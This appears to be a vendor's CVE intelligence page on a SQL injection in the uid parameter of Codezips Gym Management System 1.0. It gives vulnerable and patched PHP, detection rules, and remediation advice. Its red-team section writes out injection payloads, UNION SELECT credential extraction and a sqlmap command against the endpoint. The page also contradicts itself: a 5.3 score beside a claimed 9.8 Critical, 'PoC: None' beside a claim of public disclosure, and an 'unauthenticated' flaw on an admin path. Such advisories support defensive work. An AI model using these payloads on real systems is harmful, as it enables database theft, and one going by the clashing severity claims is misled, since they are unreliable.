☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0535

CVE-2025-0535 SQL Injection in Codezips
📅 PUBLISHED: 2025-01-17 19:00 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0535 is a critical SQL injection vulnerability discovered in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/edit_mem_submit.php file, where the uid parameter is improperly sanitized before being used in a SQL query. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – The victim does not need to perform any action.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full database read access.
  • Integrity Impact: High (I:H) – Full database write/delete access.
  • Availability Impact: High (A:H) – Potential for denial of service via database corruption.

Threat Level: Critical. Immediate action is required.

Deep Dive & Mechanics

The vulnerability exists in the file /dashboard/admin/edit_mem_submit.php. This file is likely used to update member information in the database. The uid parameter is passed directly into a SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

<?php
$uid = $_GET['uid'];
$query = "UPDATE members SET ... WHERE id = $uid";
mysqli_query($conn, $query);
?>

The attacker can manipulate the uid parameter to inject SQL commands. For example:

http://target.com/dashboard/admin/edit_mem_submit.php?uid=1 OR 1=1

This would execute the query:

UPDATE members SET ... WHERE id = 1 OR 1=1

This could update all rows in the table, or if the query is a SELECT, it could return all rows.

Attack Vector:

  1. The attacker sends a crafted HTTP GET request to the vulnerable endpoint.
  2. The uid parameter contains SQL injection payloads.
  3. The application executes the malicious SQL query.
  4. The attacker can extract data, modify records, or execute administrative operations.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$uid = $_GET['uid'];
$query = "SELECT * FROM members WHERE id = $uid";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

$uid = intval($_GET['uid']);
$query = "SELECT * FROM members WHERE id = $uid";
$result = mysqli_query($conn, $query);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM members WHERE id = ?");
$stmt->bind_param("i", $uid);
$stmt->execute();

Key Differences:

  • The vulnerable code directly concatenates user input into the SQL query.
  • The patched code uses intval() to ensure the input is an integer, or uses prepared statements to separate SQL logic from data.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target running Codezips Gym Management System 1.0.
  • Network access to the web application.

Exploitation Steps:

  1. Identify the vulnerable endpoint:

    http://target.com/dashboard/admin/edit_mem_submit.php
    
  2. Test for SQL injection:

    http://target.com/dashboard/admin/edit_mem_submit.php?uid=1'
    

    If an error is returned, the application is vulnerable.

  3. Extract database information: Use UNION SELECT to extract data. For example:

    http://target.com/dashboard/admin/edit_mem_submit.php?uid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
    

    Adjust the number of columns based on the table structure.

  4. Extract credentials:

    http://target.com/dashboard/admin/edit_mem_submit.php?uid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM users--
    

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/dashboard/admin/edit_mem_submit.php?uid=1" --batch --dbs

Blue Team

Detection:

  • Monitor for unusual SQL error messages in application logs.
  • Look for HTTP requests containing SQL keywords (e.g., UNION, SELECT, OR 1=1) in the uid parameter.
  • Use WAF rules to block SQL injection patterns.

Honeypot:

  • Deploy a honeypot that mimics the vulnerable endpoint to capture attacker behavior.

Forensics:

  • Check web server logs for requests to /dashboard/admin/edit_mem_submit.php with suspicious uid values.
  • Analyze database logs for unauthorized queries.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /dashboard/admin/edit_mem_submit.php with uid parameter containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs.

File IOCs:

  • Modified or new files in the web root directory.
  • Suspicious PHP files uploaded via SQL injection (e.g., webshells).

Log IOCs:

  • SQL error messages in application logs.
  • Unusual database queries in database logs.

Example IOC:

GET /dashboard/admin/edit_mem_submit.php?uid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- HTTP/1.1

Detection Engineering

YARA Rule

rule CVE_2025_0535_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0535"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0535"
    strings:
        $suspicious_param = /uid=.*(?:UNION|SELECT|OR|AND|--|#|%27|%22)/ nocase
        $vulnerable_path = "/dashboard/admin/edit_mem_submit.php"
    condition:
        $vulnerable_path and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2025-0535
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the uid parameter in edit_mem_submit.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "/dashboard/admin/edit_mem_submit.php?uid="
        cs-uri-query|re: 
            - "uid=.*(?:UNION|SELECT|OR|AND|--|#|%27|%22)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in uid (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0535 SQL Injection Attempt"; flow:to_server,established; content:"/dashboard/admin/edit_mem_submit.php"; http_uri; pcre:"/uid=.*(?:UNION|SELECT|OR|AND|--|#|%27|%22)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the application: If possible, take the vulnerable system offline until a patch is applied.
  2. Apply WAF rules: Block requests containing SQL injection patterns in the uid parameter.
  3. Input validation: Implement strict input validation for the uid parameter (e.g., only allow integers).

Long-term Fix:

  1. Update the code: Replace direct SQL queries with prepared statements or parameterized queries.
  2. Use an ORM: Implement an Object-Relational Mapping (ORM) library to abstract database interactions.
  3. Regular security audits: Conduct code reviews and penetration testing.

Vendor Contact:

  • Since no patch is available, contact Codezips for an official fix.
  • Consider migrating to a different, actively maintained gym management system.

Monitoring:

  • Enable detailed logging for all database queries.
  • Set up alerts for suspicious SQL activity.

Valters IT – Securing Your Digital Frontier

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0535/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.